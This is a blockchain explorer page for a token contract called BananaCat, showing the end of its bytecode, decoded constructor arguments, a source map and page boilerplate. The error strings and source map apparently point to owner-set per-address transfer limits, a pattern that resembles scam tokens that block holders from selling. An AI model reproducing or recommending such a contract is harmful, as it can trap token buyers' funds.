828601610edb565b9250506020610feb85828601610ef0565b9150509250929050565b610ffe816112aa565b82525050565b61100d816112bc565b82525050565b600061101e82611204565b611028818561120f565b93506110388185602086016112ff565b611041816113c2565b840191505092915050565b6000611059602c8361120f565b91507f546f74616c207472616e7366657220616d6f756e74206578636565647320746860008301527f6520736574206c656d69727400000000000000000000000000000000000000006020830152604082019050919050565b60006110bf60218361120f565b91507f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611121816112e8565b82525050565b611130816112f2565b82525050565b600060208201905061114b6000830184610ff5565b92915050565b60006020820190506111666000830184611004565b92915050565b600060208201905081810360008301526111868184611013565b905092915050565b600060208201905081810360008301526111a78161104c565b9050919050565b600060208201905081810360008301526111c7816110b2565b9050919050565b60006020820190506111e36000830184611118565b92915050565b60006020820190506111fe6000830184611127565b92915050565b600081519050919050565b600082825260208201905092915050565b600061122b826112e8565b9150611236836112e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561126b5761126a611364565b5b828201905092915050565b6000611281826112e8565b915061128c836112e8565b92508282101561129f5761129e611364565b5b828203905092915050565b60006112b5826112c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561131d578082015181840152602081019050611302565b8381111561132c576000848401525b50505050565b6000600282049050600182168061134a57607f821691505b6020821081141561135e5761135d611393565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6113dc816112aa565b81146113e757600080fd5b50565b6113f3816112e8565b81146113fe57600080fd5b5056fea264697066735822122014f7df3ade7a5df8546b1d3179822bc467f3f9ed8e475c78626778c283e95dbb64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000769cfd80000000000000000000000000000000000000000000000000000000000000000942616e616e614361740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000942616e616e614361740000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): BananaCat
Arg [1] : symbol_ (string): BananaCat
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1990000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000000769cfd80
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [5] : 42616e616e614361740000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [7] : 42616e616e614361740000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

3093:4755:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4616:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6622:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5049:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7161:684;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4911:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5639:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5216:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2770:230;;;:::i;:::-;;5417:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2420:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4748;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5851:359;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6318:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3482:58;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3377:55;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4616:83;4653:13;4686:5;4679:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4616:83;:::o;6622:228::-;6705:4;6759:6;6722:11;:25;6734:12;:10;:12::i;:::-;6722:25;;;;;;;;;;;;;;;:34;6748:7;6722:34;;;;;;;;;;;;;;;:43;;;;6804:7;6781:39;;6790:12;:10;:12::i;:::-;6781:39;;;6813:6;6781:39;;;;;;:::i;:::-;;;;;;;;6838:4;6831:11;;6622:228;;;;:::o;5049:102::-;5104:7;5131:12;;5124:19;;5049:102;:::o;7161:684::-;7298:4;7273:6;7281;3890:14;3907:20;:28;3928:6;3907:28;;;;;;;;;;;;;;;;3890:45;;3959:1;3950:6;:10;3946:150;;;4029:6;4019;3985:23;:31;4009:6;3985:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;:50;;3977:107;;;;;;;;;;;;:::i;:::-;;;;;;;;;3946:150;7360:6:::1;7323:11;:19;7335:6;7323:19;;;;;;;;;;;;;;;:33;7343:12;:10;:12::i;:::-;7323:33;;;;;;;;;;;;;;;;:43;;7315:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;7446:6;7425:9;:17;7435:6;7425:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;7487:6;7463:9;:20;7473:9;7463:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;7612:6;7577:23;:31;7601:6;7577:31;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;7748:6;7711:11;:19;7723:6;7711:19;;;;;;;;;;;;;;;:33;7731:12;:10;:12::i;:::-;7711:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;7797:9;7780:35;;7789:6;7780:35;;;7808:6;7780:35;;;;;;:::i;:::-;;;;;;;;7833:4;7826:11;;7161:684:::0;;;;;;;;:::o;4911:83::-;4952:5;4977:9;;;;;;;;;;;4970:16;;4911:83;:::o;5639:122::-;2633:12;:10;:12::i;:::-;2622:23;;:7;:5;:7::i;:::-;:23;;;2614:32;;;;;;5725:20:::1;:28;5746:6;5725:28;;;;;;;;;;;;;;;5718:35;;;5639:122:::0;:::o;5216:119::-;5282:7;5309:9;:18;5319:7;5309:18;;;;;;;;;;;;;;;;5302:25;;5216:119;;;:::o;2770:230::-;2633:12;:10;:12::i;:::-;2622:23;;:7;:5;:7::i;:::-;:23;;;2614:32;;;;;;2877:42:::1;2840:81;;2861:6;::::0;::::1;;;;;;;;2840:81;;;;;;;;;;;;2949:42;2932:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;2770:230::o:0;5417:137::-;2633:12;:10;:12::i;:::-;2622:23;;:7;:5;:7::i;:::-;:23;;;2614:32;;;;;;5540:6:::1;5509:20;:28;5530:6;5509:28;;;;;;;;;;;;;;;:37;;;;5417:137:::0;;:::o;2420:87::-;2466:7;2493:6;;;;;;;;;;;2486:13;;2420:87;:::o;4748:::-;4787:13;4820:7;4813:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4748:87;:::o;5851:359::-;5974:4;5943:12;:10;:12::i;:::-;5957:6;3890:14;3907:20;:28;3928:6;3907:28;;;;;;;;;;;;;;;;3890:45;;3959:1;3950:6;:10;3946:150;;;4029:6;4019;3985:23;:31;4009:6;3985:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;:50;;3977:107;;;;;;;;;;;;:::i;:::-;;;;;;;;;3946:150;6018:6:::1;5991:9;:23;6001:12;:10;:12::i;:::-;5991:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;6059:6;6035:9;:20;6045:9;6035:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;6117:6;6076:23;:37;6100:12;:10;:12::i;:::-;6076:37;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;6162:9;6139:41;;6148:12;:10;:12::i;:::-;6139:41;;;6173:6;6139:41;;;;;;:::i;:::-;;;;;;;;6198:4;6191:11;;5851:359:::0;;;;;;;:::o;6318:151::-;6407:7;6434:11;:18;6446:5;6434:18;;;;;;;;;;;;;;;:27;6453:7;6434:27;;;;;;;;;;;;;;;;6427:34;;6318:151;;;;:::o;3482:58::-;;;;;;;;;;;;;;;;;:::o;3377:55::-;;;;;;;;;;;;;;;;;:::o;1625:115::-;1678:15;1721:10;1706:26;;1625:115;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:376::-;;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2818:34;2814:1;2809:3;2805:11;2798:55;2884:14;2879:2;2874:3;2870:12;2863:36;2925:2;2920:3;2916:12;2909:19;;2704:230;;;:::o;2940:365::-;;3103:67;3167:2;3162:3;3103:67;:::i;:::-;3096:74;;3200:34;3196:1;3191:3;3187:11;3180:55;3266:3;3261:2;3256:3;3252:12;3245:25;3296:2;3291:3;3287:12;3280:19;;3086:219;;;:::o;3311:118::-;3398:24;3416:5;3398:24;:::i;:::-;3393:3;3386:37;3376:53;;:::o;3435:112::-;3518:22;3534:5;3518:22;:::i;:::-;3513:3;3506:35;3496:51;;:::o;3553:222::-;;3684:2;3673:9;3669:18;3661:26;;3697:71;3765:1;3754:9;3750:17;3741:6;3697:71;:::i;:::-;3651:124;;;;:::o;3781:210::-;;3906:2;3895:9;3891:18;3883:26;;3919:65;3981:1;3970:9;3966:17;3957:6;3919:65;:::i;:::-;3873:118;;;;:::o;3997:313::-;;4148:2;4137:9;4133:18;4125:26;;4197:9;4191:4;4187:20;4183:1;4172:9;4168:17;4161:47;4225:78;4298:4;4289:6;4225:78;:::i;:::-;4217:86;;4115:195;;;;:::o;4316:419::-;;4520:2;4509:9;4505:18;4497:26;;4569:9;4563:4;4559:20;4555:1;4544:9;4540:17;4533:47;4597:131;4723:4;4597:131;:::i;:::-;4589:139;;4487:248;;;:::o;4741:419::-;;4945:2;4934:9;4930:18;4922:26;;4994:9;4988:4;4984:20;4980:1;4969:9;4965:17;4958:47;5022:131;5148:4;5022:131;:::i;:::-;5014:139;;4912:248;;;:::o;5166:222::-;;5297:2;5286:9;5282:18;5274:26;;5310:71;5378:1;5367:9;5363:17;5354:6;5310:71;:::i;:::-;5264:124;;;;:::o;5394:214::-;;5521:2;5510:9;5506:18;5498:26;;5534:67;5598:1;5587:9;5583:17;5574:6;5534:67;:::i;:::-;5488:120;;;;:::o;5614:99::-;;5700:5;5694:12;5684:22;;5673:40;;;:::o;5719:169::-;;5837:6;5832:3;5825:19;5877:4;5872:3;5868:14;5853:29;;5815:73;;;;:::o;5894:305::-;;5953:20;5971:1;5953:20;:::i;:::-;5948:25;;5987:20;6005:1;5987:20;:::i;:::-;5982:25;;6141:1;6073:66;6069:74;6066:1;6063:81;6060:2;;;6147:18;;:::i;:::-;6060:2;6191:1;6188;6184:9;6177:16;;5938:261;;;;:::o;6205:191::-;;6265:20;6283:1;6265:20;:::i;:::-;6260:25;;6299:20;6317:1;6299:20;:::i;:::-;6294:25;;6338:1;6335;6332:8;6329:2;;;6343:18;;:::i;:::-;6329:2;6388:1;6385;6381:9;6373:17;;6250:146;;;;:::o;6402:96::-;;6468:24;6486:5;6468:24;:::i;:::-;6457:35;;6447:51;;;:::o;6504:90::-;;6581:5;6574:13;6567:21;6556:32;;6546:48;;;:::o;6600:126::-;;6677:42;6670:5;6666:54;6655:65;;6645:81;;;:::o;6732:77::-;;6798:5;6787:16;;6777:32;;;:::o;6815:86::-;;6890:4;6883:5;6879:16;6868:27;;6858:43;;;:::o;6907:307::-;6975:1;6985:113;6999:6;6996:1;6993:13;6985:113;;;7084:1;7079:3;7075:11;7069:18;7065:1;7060:3;7056:11;7049:39;7021:2;7018:1;7014:10;7009:15;;6985:113;;;7116:6;7113:1;7110:13;7107:2;;;7196:1;7187:6;7182:3;7178:16;7171:27;7107:2;6956:258;;;;:::o;7220:320::-;;7301:1;7295:4;7291:12;7281:22;;7348:1;7342:4;7338:12;7369:18;7359:2;;7425:4;7417:6;7413:17;7403:27;;7359:2;7487;7479:6;7476:14;7456:18;7453:38;7450:2;;;7506:18;;:::i;:::-;7450:2;7271:269;;;;:::o;7546:180::-;7594:77;7591:1;7584:88;7691:4;7688:1;7681:15;7715:4;7712:1;7705:15;7732:180;7780:77;7777:1;7770:88;7877:4;7874:1;7867:15;7901:4;7898:1;7891:15;7918:102;;8010:2;8006:7;8001:2;7994:5;7990:14;7986:28;7976:38;;7966:54;;;:::o;8026:122::-;8099:24;8117:5;8099:24;:::i;:::-;8092:5;8089:35;8079:2;;8138:1;8135;8128:12;8079:2;8069:79;:::o;8154:122::-;8227:24;8245:5;8227:24;:::i;:::-;8220:5;8217:35;8207:2;;8266:1;8263;8256:12;8207:2;8197:79;:::o

Swarm Source

ipfs://14f7df3ade7a5df8546b1d3179822bc467f3f9ed8e475c78626778c283e95dbb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.